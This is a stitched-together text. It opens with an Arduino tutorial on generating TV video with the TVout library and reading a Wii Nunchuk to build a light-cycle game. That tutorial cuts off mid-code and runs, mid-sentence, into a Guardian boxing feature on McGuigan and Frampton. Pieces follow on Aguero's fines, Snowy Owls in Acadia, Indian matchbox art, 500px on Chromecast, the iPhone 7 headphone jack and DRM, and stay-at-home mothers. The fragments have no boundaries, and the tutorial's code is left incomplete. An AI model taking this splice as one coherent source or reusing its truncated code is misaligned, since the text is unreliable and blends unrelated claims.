What You Need
To build this article’s product you only need a few cheap parts. Probably you have most of them at home already:
An Arduino board such as the Uno, Duemilanove, or Diecimila
A USB cable to connect the Arduino to your computer
A Nintendo Nunchuk controller
An RCA cable
Five wires
A 1k-ohm resistor
A 470-ohm resistor
A pair of wire cutters
Tinkering With the RCA Cable
Before we start to generate video signals, we have to connect the Arduino to a TV set. One of the cheapest and easiest solutions for transmitting audio or video signals is an RCA cable (sometimes called cinch cable). In Figure 1 you can see an RCA cable with three connectors. These cables usually transmit sound (red and white connectors) and video (yellow connector). For our purpose a cable with a single connector is sufficient.
Figure 1: Three RCA Connectors
Unfortunately, the Arduino has no RCA jack, so how do we connect the cable to the Arduino? In principle we could add an RCA jack to the Arduino, but we’ll use a less subtle method and instead connect the cable’s wires directly to the Arduino’s pins. An individual RCA cable contains two wires: signal and ground. The signal wire is usually well protected by insulation to shield it from distortions. The ground wire is not a real wire but a mesh of stranded copper. To get access to the wires, cut the cable in half first. Go ahead, snip it!
Now take one of the halves and use the wire cutters again to carfully remove the cable’s outer insulation. You should now see the mesh of stranded copper.
Bring back the mesh into wire shape by rubbing it between your thumb and forefinger, so you can solder it to a solid-core wire later on. After that, use the wire cutter again to remove the inner insulation. From my experience it’s best to put the cable between the wire cutter’s blades, then turn the cable slowly and carefully, increasing the pressure while turning the cable. Be very careful so you do not accidentally cut the signal wire! After you’ve cut through the whole insulation you can easily remove it. You should now see the cable’s signal wire and your cable should look like Figure 2.
Figure 2: Signal Wire and Ground Wire of Our Cable
Now have a look at Figure 3 to see how to connect the RCA cable to the Arduino. First of all, you have to connect the cable’s ground to one of the Arduino’s ground pins. Then you have to connect the RCA cable’s signal (VIDEO) wire to the Arduino’s digital pins 9 and 7 using two resistors. We need pin 9 for synchronizing the sender (Arduino) and the receiver (TV set) and we need pin 7 to emit the video signal.
Figure 3: Connecting an RCA Cable to the Arduino
So we have to connect the two resistors to the RCA cable’s signal wire and it’s not sufficient to simply knot them together. You have to solder them; and while you’re at, it connect the RCA cable’s ground wire to a piece of solid-core wire, so you can easily attach it to the Arduino. (See Figure 4 for the result.)
Figure 4: Our Final Cable
That’s all the hardware we need for generating a video signal, so connect the cable to the Arduino and let’s see how we can bring it to life.
Generating a Video Signal
Generating a clean video signal is difficult, because the output quality heavily depends on a very exact timing. Usually you need a lot of tricky assembler code dealing with nasty topics such as interrupt handling. Fortunately, Myles Metzler went through all the pain already and created the arduino-tvout library. This library not only offers basic functions for drawing lines, circles, and rectangles, it also comes with a convenient toolset for drawing text in fonts of various sizes. Oh, and it even supports sound output.
Of course, you cannot expect a small device such as the Arduino to generate HD graphics, but at least we are able to generate monochrome graphics with a resolution of 128 by 96 pixels for both PAL and NTSC. That’s enough for many useful applications and games and it’s still better than the resolution of my first mobile phone. (and we all had a lot of fun playing Snake back in these days, right?)
Although the arduino-tvout library comes with a really nice demo (it displays some bitmap graphics and even rotates a cube) we will start with our own, to see how the library works:
#include <TVout.h> #include <fontALL.h> #include <stdint.h>
const uint8_t WIDTH = 128; const uint8_t HEIGHT = 96;
TVout tv;
void setup() { tv.begin(PAL, WIDTH, HEIGHT); tv.select_font(font4x6); }
void loop() { tv.clear_screen(); tv.print(0, 0, " Welcome to our little demo!"); delay(3000); tv.clear_screen(); tv.print(0, 0, " Let's draw a line:"); tv.draw_line(0, 10, WIDTH - 1, HEIGHT - 1, WHITE); delay(3000); tv.clear_screen(); tv.print(0, 0, " Now let's draw a rectangle:"); tv.draw_rect(0, 10, WIDTH - 11, HEIGHT - 11, WHITE); delay(3000); tv.clear_screen(); tv.print(0, 0, " And here we have a circle:"); tv.draw_circle(WIDTH / 2, HEIGHT / 2, 20, WHITE); delay(3000); }
This is a simple program but it shows nearly all aspects of the arduino-tvout library. First of all, we include the library’s main header file, and we include fontALL.h, because we want to output some text. We also include the stdint header file, so we have some nice type definitions for common types. Then we define constants for the width and height of our screen.
In the global scope we define a TVout object named tv. We initialize this object in the setup function calling its begin method. This method expects the video signal type, the screen’s width, and the screen’s height. We chose PAL in this case, but you can safely replace it with NTSC. In addition, we select the font we’re going to use to output our messages.
The loop function demonstrates several of the library’s features. We print a few texts calling print and we draw some lines and shapes calling draw_line, draw_rect, and draw_circle (see Figure 5 for the result of draw_circle). Unsurprisingly, the library also has methods named set_pixel and get_pixel, and this is the right time to read the online documentation.
Figure 5: Our First TVout Demo
All in all the arduino-tvout library offers a very intuitive access to a TV screen. But to play games we also need a cool controller.
Tinkering with the Wii Nunchuk
A vital component of every video game system is a controller, and for our system we could simply create our own using a couple of push buttons. But we are lazy, so instead we’ll hijack a Nintendo Nunchuk controller. It’s a perfect candidate for tinkering, for various reasons. It comes with a three-axis accelerometer, an analog joystick, and two buttons, and it is very cheap (less than $10 at the time of this writing). Even better: because of its good design and its easy-to-access connectors, you can integrate it into your own projects surprisingly easily.
Figure 6: A Nintendo Nunchuk Controller
We’ll use an ordinary Nunchuk controller and transfer the data it emits to our computer using an Arduino. You’ll learn how to wire it to the Arduino and how to write software that reads the controller’s current state. You don’t even need a Nintendo Wii to do any of this—you only need a Nunchuk controller.
Wiring a Wii Nunchuk
Wiring a Nunchuk to an Arduino really is a piece of cake. You don’t have to open the Nunchuk or modify it in any way. You only have to put four wires into its connector and then connect the wires to the Arduino.
Figure 7: The Nunchul Connector
In Figure 7, you can see a diagram of a Nunchuk plug. It has six connectors, but only four of them are active: GND, 3.3 V, Data, and Clock. Put a wire into each connector, and then connect the wires to the Arduino. Connect the data wire to analog pin 4 and the clock wire to analog pin 5. The GND wire has to be connected to the Arduino’s ground pin and the 3.3 V wire belongs to the Arduino’s 3.3 V pin.
Figure 8: How to Connect a Nunchuk to an Arduino
That’s really all you have to do to connect a Nunchuk controller to an Arduino. The controller is powered with 3.3 volts now, and in the next section, you’ll see that the two wires connected to analog pins 4 and 5 are all we need to control the controller.
Talking to a Nunchuk
No official documentation shows how a Nunchuk works internally or how you can use it in a non-Wii environment. But some smart hackers and makers on the Internet invested a lot of time to reverse-engineer what’s happening inside the controller.
All in all, it’s really simple, because the Nunchuk uses the Two-Wire Interface (TWI), also known as I 2 C (Inter-Integrated Circuit) protocol. It enables devices to communicate via a master/slave data bus using only two wires. You transmit data on one wire (DATA), while the other synchronizes the communication (CLOCK).
The Arduino IDE comes with a library named Wire that implements the I 2 C protocol. It expects the data line to be connected to analog pin 4 and the clock line to analog pin 5. We’ll use it shortly to communicate with the Nunchuk, but before that, we’ll have a look at the commands the controller understands. (At this site you can find a library that allows you to use any pair of pins for I 2 C communication.)
Figure 9: The Nunchuk always Returns 6 Bytes of Data
To be honest, the Nunchuk understands only a single command, which is “Give me all your data.” Whenever it receives this command, it returns six bytes that have the following meaning (see the data structure in Figure 9):
Byte 1 contains the analog stick’s X-axis value, and in byte 2 you’ll find the stick’s Y-axis value. Both are 8-bit numbers and range from about 29 to 225.
Acceleration values for the X, Y, and Z axes are three 10-bit numbers. Bytes 3, 4, and 5 contain their eight most significant bits. You can find the missing two bits for each of them in byte 6.
Byte 6 has to be interpreted bit-wise. Bit 0 (the least significant bit) contains the status of the Z-button. It’s 0 if the button was pressed; otherwise, it is 1. Bit 1 contains the C-button’s status. The remaining six bits contain the missing least significant bits of the acceleration values. Bits 2 and 3 belong to the X axis, bits 4 and 5 belong to Y, and bits 6 and 7 belong to Z.
Now that we know how to interpret the data we get from the Nunchuk, we can start to build a Nunchuk class to control it.
Building a Nunchuk Class
The interface of our Nunchuk class (and the main part of its implementation) looks as follows:
#define NUNCHUK_BUFFER_SIZE 6
class Nunchuk { public: void initialize(); bool update();
int joystick_x() const { return _buffer[0]; } int joystick_y() const { return _buffer[1]; }
bool left() const { return _buffer[0] < 50; } bool right() const { return _buffer[0] > 200; } bool up() const { return _buffer[1] > 200; } bool down() const { return _buffer[1] < 60; }
int x_acceleration() const { return ((int)(_buffer[2]) << 2) | ((_buffer[5] >> 2) & 0x03); }
int y_acceleration() const { return ((int)(_buffer[3]) << 2) | ((_buffer[5] >> 4) & 0x03); }
int z_acceleration() const { return ((int)(_buffer[4]) << 2) | ((_buffer[5] >> 6) & 0x03); }
bool z_button() const { return!(_buffer[5] & 0x01); } bool c_button() const { return!(_buffer[5] & 0x02); }
private: void request_data(); char decode_byte(const char);
unsigned char _buffer[NUNCHUK_BUFFER_SIZE]; };
This small C++ class is all you need to use a Nunchuk controller with your Arduino. To initiate the communication channel between Arduino and Nunchuk, you have to invoke the initialize method once. Then you call update whenever you want the Nunchuk to send new data. You’ll see the implementation of these two methods shortly.
We have public methods for getting all attributes the Nunchuk returns: the x and y positions of the analog stick, the button states, and the acceleration values of the X, Y, and Z axes. We also have methods for checking if the analog stick is pressed to a certain direction. All these methods operate on the raw data you can find in the buffer named _buffer. Their implementation is mostly trivial and requires only a single line of code. Only the assembly of the 10-bit acceleration values needs some tricky bit operations.
At the end of the class declaration you find two private helper methods we need to implement: initialize and update:
#include <WProgram.h> #include <Wire.h> #include "nunchuk.h"
#define NUNCHUK_DEVICE_ID 0x52
void Nunchuk::initialize() { Wire.begin(); Wire.beginTransmission(NUNCHUK_DEVICE_ID); Wire.send(0x40); Wire.send(0x00); Wire.endTransmission(); update(); }
bool Nunchuk::update() { delay(1); Wire.requestFrom(NUNCHUK_DEVICE_ID, NUNCHUK_BUFFER_SIZE); int byte_counter = 0; while (Wire.available() && byte_counter < NUNCHUK_BUFFER_SIZE) _buffer[byte_counter++] = decode_byte(Wire.receive()); request_data(); return byte_counter == NUNCHUK_BUFFER_SIZE; }
void Nunchuk::request_data() { Wire.beginTransmission(NUNCHUK_DEVICE_ID); Wire.send(0x00); Wire.endTransmission(); }
char Nunchuk::decode_byte(const char b) { return (b ^ 0x17) + 0x17; }
After including all libraries we need, we define the NUNCHUK_DEVICE_ID constant. I 2 C is a master/slave protocol; in our case, the Arduino will be the master, and the Nunchuk will be the slave. The Nunchuk registers itself at the data bus using a certain ID (0x52), so we can address it whenever we need something.
Figure 10: Message Flow between Arduino and Nunchuk
In initialize, we establish the connection between the Arduino and the Nunchuk by sending a handshake. Therefore we call Wire’s begin method, so the Arduino joins the I 2 C bus as a master (if you pass begin an ID, it joins the bus as a slave having this ID). Then we begin a new transmission to the device identified by NUNCHUCK_DEVICE_ID: our Nunchuk.
We send two bytes (0x40 and 0x00) to the Nunchuk, and then we end the transmission. This is the whole handshake procedure, and now we can ask the Nunchuk for its current status by calling update. In Figure 10, we see the message flow between an Arduino and a Nunchuk.
update first pauses for a millisecond to let things settle a bit. Then we request six bytes from the Nunchuk, calling Wire.requestFrom. This does not actually return the bytes, but we have to read them in a loop and fill our buffer. Wire.available returns the number of bytes that are available on the data bus, and Wire.receive returns the current byte. We cannot use the bytes we get from the Nunchuk directly, because the controller obfuscates them a bit. “Decrypting” them is easy, as you can see in decode_byte.
Finally, we tell the Nunchuk to prepare new data by calling request_data. It transmits a single zero byte to the Nunchuk, which means “prepare the next six bytes.”
Figure 11: The Video Game System Is Complete
That’s it! Your complete video game system should look like Figure 11 now. We have video output and access to all of the Nunchuk’s data, so let’s create our first game.
Creating Our First Game
Due to a lack of resources we will not be able to create a first-person shooter, but our system is powerful enough to run some entertaining classics. (At nootropicdesign.com you can find Tetris, Asteroids, Breakout, and Space Invaders, for example.)
Figure 12: Our Game’s Title Screen
We’ll create a Tron-like light cycle racing game—that is, two players will fight each other using light cycles that leave a solid trace. Whenever a player hits a wall or a cycle’s trace, the race is over and the other player wins. In our version of the game a human player always plays against the computer and we will represent the light cycles by a single pixel. Let’s start with the Player class: (You can find the article’s code examples at github.)
class Player { public: enum Direction { NORTH, WEST, EAST, SOUTH };
enum Behavior { MANUALLY, PREFERRED_ORDER };
uint8_t px, py; Direction direction; Behavior behavior;
void move(void) { switch (direction) { case NORTH: py -= 1; break; case WEST: px -= 1; break; case EAST: px += 1; break; case SOUTH: py += 1; break; } }
bool draw(TVout& tv) { if (tv.get_pixel(px, py) == 1) return true; tv.set_pixel(px, py, 1); return false; }
void control(TVout& tv, const Nunchuk& controller) { switch (behavior) { case MANUALLY: control_manually(controller); break; case PREFERRED_ORDER: control_preferred_order(tv); break; } }
private:
void control |
soldiers were allowed into this gym. "In the middle of the Troubles the paras would come here and fight the Holy Family boys. The place was packed with spectators because boxing was different. People didn't give a shit who was in the ring as long as it was a good fight but if they gave the paras a good beating, as they usually did, it was even better…"
In different eras, McGuigan, a Catholic, and Frampton, a Protestant, spent many years in the Holy Family. It seems incredible that boxing brought two warring communities together.
"That was the paradox," McGuigan says. "Peace be with you – and you were punching someone in the mouth. But boxing was an olive branch. Boxing allowed you to do things nobody else could do. It was a horrible time, a terrifying time. It was inhumane. You look back and think: 'Christ Almighty, did our neighbours and friends really do such barbaric things?' But they did. It happened."
McGuigan brightens again. "For many of us boxing was a sanctuary. It was a release, and an education. We travelled the world and met different people. And we became better human beings. Boxing was unique."
The template was secured by McGuigan. "I boxed for Ulster, Northern Ireland and Ireland and did so at a time when you would think it's totally unacceptable. I've carved out a road that I don't think anyone else has been down. But there were never any barriers as far as I was concerned.
"Then, it was all about, 'Yeah, nail your colours to the mast.' I said, 'No.' We weren't going to alienate people and make them feel ostracised or threatened because everywhere you went you felt that – you were looking over your shoulder. But I walked through places that nobody else walked through and was received with open arms. I look back and think 'Holy shit, did I really do that?' I was a kid. But boxing allowed me to do that…"
Leaving the Holy Family we hear something that sounds like gunfire. McGuigan swears, apologises and then laughs when I remind him that I come from Johannesburg. It's a little like being home again – for both of us. We move from the Falls Road, zipping past the black flags and Irish tricolours, to the Shankill Road's union jacks and murals dedicated to the Queen.
"I had a Falls Road and a Shankhill Road Supporters Club," McGuigan says. "It was a special time – despite so much murder."
Inside the Ulster Hall, a beautiful and elegant building, McGuigan's voice echoes as he throws fierce combinations in the air and helps me imagine the steaming atmosphere at a venue where he fought more often than anywhere else. It will be even more raucous in the much larger Odyssey Arena on Saturday night but the ornate old church organ pipes at the Ulster Hall are a reminder that Frampton will follow his fight against Parodi with marriage to Christine a week later.
Carl Frampton and Barry McGuigan pose for a picture in front of the mural of Carl on the side of the Midland Boxing Club in Tiger's Bay. Photograph: Tom Jenkins for the Guardian
In Battersea, Frampton had spoken movingly about how much he missed Christine and their two-and-a-half-year-old daughter, Carla. "It's getting harder all the time. Carla's starting to understand and she's asking where I am. I say my goodbyes the night before and sneak out because I don't want her to cry. I'm feeling a wee bit emotional now, thinking about it. I don't want to be upsetting the child and I feel like I'm doing that sometimes. She's quite good though, on the phone but sometimes she's watching Peppa Pig when I call."
Christine, who has a degree in criminology, comes from a contrasting background. "Poleglass in west Belfast is a completely Republican area," Frampton explains. "The first time we went on a date I was so nervous I ended up getting drunk. I forgot to pay for her food. She still takes the mickey out of me."
Was it hard falling in love with a Catholic girl? "It didn't matter to me but I knew it annoyed some people and it was difficult – especially with me being from an interface area where there was trouble all the time. Now, the wedding is obviously something to look forward to but I'm thinking about the fight. People say: 'What about your face?' Well, the Kiko Martínez fight [which Frampton won on a ninth round stoppage in February] was pretty brutal and I was marked but I was healed by the Thursday – well, that's what I'm telling Christine. As long as I don't get cut I should be OK."
Has he given any thought to his wedding speech? "Um … no. You've just reminded me. It's going to be short and sweet, anyway."
McGuigan laughs. "It's incredible how my life is mirrored by Carl's," he says, explaining how, a week after he beat Chris Eubank's brother, Peter, in August 1981, in Ulster Hall, he married Sandra, whom he is still with happily 32 years later. Sandra is Protestant and Barry is Catholic – in a mirror image of the divide which Carl and Christine overcame. McGuigan was cut in his fight against Eubank and the stitches were only taken out on the morning of his wedding.
Barry McGuigan looking around the Ulster Hall in Belfast. Photograph: Tom Jenkins for the Guardian
"Sandy's much better looking than me," McGuigan cracks, "so it didn't matter. Frampton will come through this fight. He won't be unscathed and he'll have lots of bruising but I'm convinced Carl will win. I don't think there's any stopping this guy. He's going the whole way."
All the McGuigans are involved in this first family promotion of a big Belfast fight. Blain, his eldest son, is the promoter, while Shane and Jake look after Carl in and outside the ring, with Barry as manager and Sandra and even their actress daughter, Danika, involved in public relations and ticketing. Their joint ambition is that the bout will lead to a world title fight early next year – hopefully in Belfast.
"It would be very special," McGuigan says as, beyond the troubled history of this scarred old city, he looks to the future. "It would be hugely important to me – and if we were to do it at home it would be absolutely amazing. Boxing's become a more precarious business but I have every confidence that Carl Frampton will win a world title. And we'd love to win it at home, in Belfast."
To watch Frampton v Parodi live on BoxNation (Sky Channel 437 or Virgin Channel 546) from 7pm on Saturday visit www.boxnation.com.Sergio Aguero "just didn't care" about fines for showing up late to Manchester City training, his former teammate Frank Lampard says.
Lampard, who spent the 2014-15 season at City alongside Aguero, revealed on Sky Sports that the Argentina striker had a habit of brushing off fines
Asked who was fined most often, Lampard said: "At Chelsea I can't remember but I will jump to Manchester City.
"Aguero picked up a fair few. He just didn't care. He was so laid back and would just stroll out to the training pitch like five minutes late.
"[The coaches would say] 'right you're fined' and he would say 'OK, no problem. Wait until the weekend and I'll score a hat trick and everyone will be happy.'"
Aguero has 16 goals in 19 appearances this season, though he will miss the Boxing Day clash at Hull City amid his four-game ban.UPDATE 1/24/2016: See updated Snowy Owl information for 2015-2016 on our Bangor Daily News blog.
UPDATE 2/16/15: Total of 17 Snowy Owl sightings in Acadia National Park have been reported to eBird.org as of 2/8/15, up from the 10 as originally reported in this blog last month, the most ever reported in one season. See updated numbers below.
UPDATE 1/31/15: Want to help fund a better understanding of the enigmatic Snowy Owl, and get some Snowy Owl memorabilia to boot? Consider a tax-deductible donation through an Indiegogo campaign by Project SNOWstorm, going on through end of March. See some amazing video of Snowy Owls in motion while checking out the fundraising page.
This time of year on the wintry mountaintops of Acadia National Park, the serious birders come to scan the landscape for the Snowy Owl, normally a raptor of the Arctic tundra.
They may sit and observe a Snowy Owl for more than an hour at a time, as Michael J. Good did, watching the same owl on different days in November, on Cadillac and Sargent Mountains. “There is nothing quite like spending time with this charismatic bird from the North,” Good wrote, in sharing a favorite Snowy Owl photo with us.
Or they may post photos from their field trips on Facebook, as Rich MacDonald did, not only of the two Snowy Owls he saw the same day in December on Sargent, but also of owl pellet degrading after the rains from a day earlier. “Snowy Owls are back!” his Facebook page proclaims.
MacDonald, a naturalist and field biologist, is co-owner of The Natural History Center with his wife Natalie, while Good, a Registered Maine Guide, is owner of Down East Nature Tours. Both Bar Harbor businesses lead tours year-round in Acadia, and around the globe.
Acadia National Park – well-known for peregrine falcons, the annual HawkWatch and the Acadia Birding Festival – may also rightly lay claim to being a spectacular place to catch the flight of the Snowy Owl.
Even before the 2013-2014 headlines about the sudden upsurge of Snowy Owls migrating to the US – known as an irruption – Acadia has been an occasional winter home for Snowies.
In search of Snowy Owls in Acadia National Park
In 2012, the Friends of Acadia Journal published an article by a Bangor author who’d been wanting to see a Snowy Owl in Acadia for years. After a couple unsuccessful attempts, up Cadillac, then Day Mountain, Catherine Schmitt finally had luck on Sargent Mountain. She’d consulted with MacDonald to improve her odds of a sighting, and it worked.
And before that, according to the online eBird.org database of the Cornell Lab of Ornithology and the National Audubon Society, periodic sightings of Snowy Owls have been reported in Acadia National Park all the way back to 1981.
Last season, during the irruption that brought Snowies as far afield as Florida, a total of 13 sightings were reported in Acadia National Park to the eBird database. Periodic irruptions result from a Snowy Owl population explosion in the Arctic tundra, apparently when there’s an overabundance of lemmings, according to a Nature Conservancy science blog post.
So far this season, 10 sightings have been reported, with Good and MacDonald accounting for 9 of them. (UPDATE 2/16/15: eBird link shows 17 Snowy Owl sightings in Acadia through 2/8/15.) In fact, between Good and MacDonald, they’ve accounted for nearly half of the approximately 40 Acadia sightings in the eBird database as of this writing, with MacDonald reporting his first on Sargent in 2003, and Good his first on Cadillac in 1993.
It’s hard to predict from year to year what the Snowy Owl sightings in Acadia will be, or whether the bird is magnetic enough to draw a lot of visitors to the park in the dead of winter, even if some lodging, restaurants and other businesses are open year-round in Bar Harbor and other area communities, and there are other winter activities in and around the park.
Maybe the Snowy Owl will never generate the same curiosity as the Atlantic puffin which, although not visible from Acadia, is the wildlife most asked about, according to the park’s frequently asked questions. And maybe it doesn’t have a comeback story to tell like that of the peregrine falcons, which have successfully started breeding again on the cliffs of Acadia after being nearly decimated by pesticides.
But it’s hard not to be fascinated with this snowy white bird, which can sit still on or near the ground for hours, turning its head from time to time, observing the landscape with its yellow cat-like eyes. Because it’s used to the openness of the tundra and 24-hour light of an Arctic summer, the Snowy Owl makes no secret of when it’s on the hunt, soaring into flight with its 4- to 5-foot wingspan, in broad daylight.
The Facebook pages of both the Acadia National Park Community and the Friends of Acadia have featured the Snowy Owl in recent posts, including one share this month by the park community page about a Snowy Owl that was found weak and on the ground in a cemetery in Lubec, Me. It subsequently died of internal blood loss, despite efforts to save it by Avian Haven of Freedom, Me. The suspected cause: Ingestion of a rodent that had been poisoned.
Sargent and Cadillac Mountains are Snowy Owl hotspots
Below are all the Snowy sightings in Acadia as reported to the eBird database to date. The numbers in parentheses represent the number of sightings, if there was more than one. These numbers, of course, don’t represent all the Snowy Owls that may have wintered in Acadia over the years, and could include multiple sightings of the same bird. Recent numbers may be higher as a result of the combination of increasing awareness of Snowies with the irruption that has been making headlines, and of the eBird database that allows people to document sightings by species, date and place.
Current season (UPDATED 2/16/15)
1/14/2015 Penobscot Mountain (3)
11/2014-2/2015 Sargent Mountain (11)
11/2014-1/2015 Cadillac Mountain (3)
2013-2014 season
4/16/2014 Beachcroft Path on way to Champlain Mountain
11/2013-3/2014 Cadillac Mountain (4)
12/2013-1/2014 Sargent Mountain (5)
12/14/2013 Pemetic Mountain (2)
12/5/2013 Schoodic Peninsula, Blueberry Hill parking lot
2012-2013 season
3/7/2013 Sargent Mountain
2011-2012 season
1/7/2012 Sargent Mountain (2)
1/18/2012 Schoodic Peninsula
2/29/2012 Penobscot Mountain
12/2011–3/2012 Cadillac Mountain (5)
Earlier seasons
2/6/2005 Hadlock Brook Trail
3/1/2003 Sargent Mountain
1/8/1993 Cadillac Mountain
11/17/1992 Low-tide gravel bar to Bar Island
2/14/1981 Schoodic Peninsula
Facts about Snowy Owls, efforts to understand them
Snowy Owls, often described by fans of the bird as charismatic, regal or mysterious, have been studied by scientists since the late 1980s, usually during the summer breeding season in the high Arctic.
But the irruption in 2013-2014, the biggest in decades, with thousands of Snowy Owls making it south for the winter, led researchers to launch a broader effort, Project SNOWstorm. While periodic irruptions have been documented for about 200 years, this one meant a unique opportunity to track the birds with solar-powered GPS transmitters, band them and do toxicology screens and DNA analysis.
The non-profit volunteer project, the brainchild of David Brinker of the Maryland Department of Natural Resources, Scott Weidensaul of the Ned Smith Center for Nature and Art in Pennsylvania and Norman Smith of Mass Audubon, also maintains a blog and Web site. And it wants people to upload photos of Snowy Owls they’ve taken, particularly if they are of birds with spread wings and tail, for age and gender identification purposes.
The eBird database by the Cornell Lab of Ornithology and National Audubon Society also encourages people to sign up as contributing members to upload photos of Snowy Owl sightings, and report details of their encounters. You can even sign up for a daily Snowy Owl alert.
Here are some interesting facts about Snowy Owls, compiled from the Web sites or blogs of Project SNOWstorm, National Audubon Society and Cornell Lab of Ornithology’s All About Birds:
The largest owl by weight in North America with its heavy feathers to protect against Arctic weather, the adult Snowy Owl typically weighs 4 pounds, but it can tip the scales at as much as 6 pounds
About the size of the Great Horned Owl, it’s about a pound heavier, and about twice as heavy as North America’s tallest owl, the Great Gray Owl
Found represented in cave paintings in Europe
Male Snowy Owls are barred with dark brown when young and get whiter with age, while females always retain some brown markings
Snowy Owls are territorial and may return to the same wintering site every year
In summer, prefers open tundra. In winter, looks for open country such as prairies, farmland, large airports, beaches, coastal marshes.
Unlike other owls, they are active mainly in the day, a natural result of living in 24-hour daylight during Arctic summers
They can eat more than 1,600 lemmings in a year
The oldest known Snowy Owl was banded in Massachusetts in 1988 and found again in the same state more than 16 years later
John James Audubon reported seeing a Snowy Owl at the edge of an ice hole, catching fish with its talons
An irruption of Snowy Owls occurs periodically not because there’s a shortage of food on the tundra, as is commonly believed, but because of an overabundance, leading to a population explosion and migration south. The 2013-2014 irruption may have been the largest one in nearly a century.
Some Snowy Owls are homebodies, rarely moving half a mile from where researchers banded them, while others ranged hundreds of miles in a few weeks
In winter, they feed mainly on birds like ducks, geese and gulls, hunting for them over open ocean or through cracks in sheets of ice over large lakesA matchbox is a small box that hold matchsticks. Right? But dig a little more and there is a bizarre range of Indian matchbox covers. So, here are 23 crazy masterpieces of Indian art that find themselves featured on the covers of match boxes.
1. Haathi Mere Saathi!
2. Bade Kaam Ka Bandar.
3. Head Honchos.
4. Come on baby, light my fire!
5. Really? Does Anil know about this?
6. Matches. They give you wings.
7. Someone likes kitties...
8. The grand-daddy of match-boxes.
9. Has its own merchandise line!
10. Of course, no collection of art is complete without a depiction of God.
11. And some patriotism.
12. Bharat Mata Ki Jai!
13. So where's the keyhole?
14. Two eyes, hypnotise...
15. Naya Typewriter. It also sets things on fire.
16. So what's with the numbers?
17. "One Touch" and "Any Time" sound like condom brands. LoL.
18. Salman Khan likes this.
19. Some flower power?
20. Remember Guru- Chela?
21. Ye 'Ghanshyam' kaun hai?
22. And here's the vintage collection.
23. Double Chicken, Single Egg.The 500px community is very famous among photography enthusiasts. Along with Flickr, it might be one of the most sought after sites for sharing beautiful and breathtaking pics taken around the globe by amateur and professional photographers alike. It's no surprise then that the service is an excellent fit for the Chromecast and that it wants a place on your TV screen.
500px has worked with Google to bring a curated collection of featured photos from the service to the streaming stick as backdrops. This joins the newly added Facebook and Flickr Albums as an option for photos to display while your Chromecast is idling in the background of your room or office. The Chromecast app will also display the photo's details including the user who took it, its title, and a link to view it on the website.
Hopefully this collaboration will push 500px to update its Android app, which despite supporting Android Wear, still doesn't seem to be able to cast photos to your television.UPDATE (9/8/16): An earlier version of this blog post incorrectly suggested that no authorized audio devices or connectors that used the Lightning port existed prior to yesterday’s announcement. It also implied that the only way to achieve lossless sound quality on an iPhone was through a wired connection, which was also incorrect. We’ve edited the post accordingly.
With the recent iPhone 7 announcement, Apple confirmed what had already been widely speculated: that the new smartphone won’t have a traditional, analog headphone jack. Instead, the only ways to connect the phone to an external headset or speaker will be via Bluetooth, through the phone’s AirPlay feature, or through Apple’s proprietary Lightning port.
Apple’s motivations for abandoning the analog jack are opaque, but likely benign. Apple is obsessed with simple, clean design, and this move lets the company remove one more piece of clutter from the phone’s body. The decision may also have been a part of the move to a water-resistant iPhone. And certainly, many people choose a wireless listening experience.
But removing the port will change how a substantial portion of iPhone owners listen to audio content—namely, by simply plugging in a set of headphones. By switching from an analog signal to a digital one, Apple has potentially given itself more control than ever over what people can do with music or other audio content on an iPhone. We hope that Apple isn’t unwittingly opening the door to new pressures to take advantage of that power.
When you plug an audio cable into a smartphone, it just works. It doesn’t matter whether the headphones were made by the same manufacturer as the phone. It doesn’t even matter what you’re trying to do with the audio signal—it works whether the cable is going into a speaker, a mixing board, or a recording device.
The Lightning port works differently. Manufacturers must apply and pay a licensing fee to create a Lightning-compatible device. When rumors were circulating about an iPhone 7 with no headphone jack, our colleague Cory Doctorow predicted that big content companies would try to take advantage of that control: “Right now, an insistence on DRM would simply invite the people who wanted to bypass it for legal reasons to use that 3.5mm headphone jack to get at it. Once that jack is gone, there's no legal way to get around the DRM.”
In other words, if it’s impossible to connect a speaker or other audio device to an iPhone without Apple software governing it, then major media companies might pressure Apple to place limits on how Apple’s customers can use their content. Because U.S. law protects digital rights management (DRM) technologies, it may be illegal to circumvent any potential restrictions, even if you’re doing it for completely lawful purposes. There would certainly be a precedent: big content companies infamously pressured Apple to incorporate DRM in its iTunes service.
iTunes DRM is a thing of the past now—and fortunately, most DRM for audio downloads has gone with it. But some major media companies are still eager to find ways to control how we use their content. In the current debate over the FCC’s proposal to unlock TV set-top boxes, TV and film producers have insisted that they should be able to decide which devices can receive video. Can we believe the content industry will leave audio alone if outputs become entirely digital?
The good news is that the new iPhone will come with a Lightning dongle that will provide a standard 3.5 mm analog port. What’s not clear is whether iOS or specific apps will be able to disable the dongle—if so, history suggests that Hollywood and other major media industries will be eager to take advantage of that capability. It’s also unclear whether the iPhone’s software will be able to disable access to the 3.5 mm port for other third-party devices that use it, such as credit card terminals or blood pressure readers.
To its credit, Apple has been adamant it won’t use the new design to restrict your listening experience. But therein lies the problem: you shouldn’t have to depend on a manufacturer’s permission to use its hardware however you like (or, for that matter, to build your own peripherals and accessories for it). What you can do with your hardware should be determined by the limits of the technology itself, not its manufacturers’ policy decisions.
Ultimately, this story isn’t about Apple, or any other company’s design decisions. It’s about the Digital Millennium Copyright Act’s protection for DRM. Section 1201 of the DMCA makes it illegal to bypass DRM or give others the means of doing so. 1201 gives technology manufacturers the power to cast clouds of legal uncertainty over common uses of their products. It gives content owners and other powerful entities an unfair weapon against innovation by others. It’s a law that needs fixing.Across the developed world, women who stay home are increasingly seen as old-fashioned and an economic burden to society. If their husbands are rich, they are frequently berated for being lazy; if they are immigrants, for keeping children from learning the language and ways of their host country.
Their daily chores of cleaning, cooking or raising their children have always been ignored by national accounts. (If a man marries his housekeeper and stops paying her for her work, G.D.P. goes down. If a woman stops nursing and buys formula for her baby, G.D.P. goes up.) In a debate that counts women catching up with men in education and the labor market in terms of raising productivity and economic growth, stay-at-home moms are valued less than ever. This is so despite the fact that from Norway to the United States, economists put the value of their unpaid work ahead of that of the manufacturing sector.
In countries where mothers still struggle to combine career with family and quit work less out of conviction than out of necessity, they are often doubly punished. In Germany, the biggest economy in Europe, most schools still finish at lunchtime, and full-time nurseries for children under 3 are scarce. Yet in this generation of young mothers you are more likely to find women saying they are on extended maternity leave or between jobs than admitting they are housewives.
Only among the wealthy is it seen as class status when the highly educated mother takes children to Chinese or violin lessons.
“It’s hard to find a balance between not romanticizing and not stigmatizing housewives,” said Nancy Folbre, a professor of economics at the University of Massachusetts, Amherst. “Even though a number of women still stay at home, a cultural shift has put them on the defensive.”
